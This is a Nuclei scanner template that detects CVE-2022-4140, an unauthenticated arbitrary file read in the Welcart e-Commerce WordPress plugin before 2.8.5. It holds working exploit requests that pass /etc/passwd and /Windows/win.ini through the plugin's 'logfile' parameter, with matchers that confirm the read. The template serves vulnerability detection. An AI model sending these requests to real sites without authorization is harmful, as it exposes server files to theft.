47 lines
1.4 KiB
YAML
47 lines
1.4 KiB
YAML
id: CVE-2022-4140
|
|
|
|
info:
|
|
name: Welcart e-Commerce < 2.8.5 - Unauthenticated Arbitrary File Access
|
|
author: theamanrawat
|
|
severity: high
|
|
description: |
|
|
The Welcart e-Commerce WordPress plugin before 2.8.5 does not validate user input before using it to output the content of a file, which could allow unauthenticated attacker to read arbitrary files on the server.
|
|
remediation: Fixed in version 2.8.5
|
|
reference:
|
|
- https://wpscan.com/vulnerability/0d649a7e-3334-48f7-abca-fff0856e12c7
|
|
- https://wordpress.org/plugins/usc-e-shop/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-4140
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2022-4140
|
|
cwe-id: CWE-552
|
|
metadata:
|
|
verified: "true"
|
|
tags: usc-e-shop,wpscan,cve,cve2022,wp-plugin,wp,wordpress,lfi,unauthenticated
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/etc/passwd"
|
|
- "{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/content-log.php?logfile=/Windows/win.ini"
|
|
|
|
stop-at-first-match: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
- "\\[(font|extension|file)s\\]"
|
|
condition: or
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|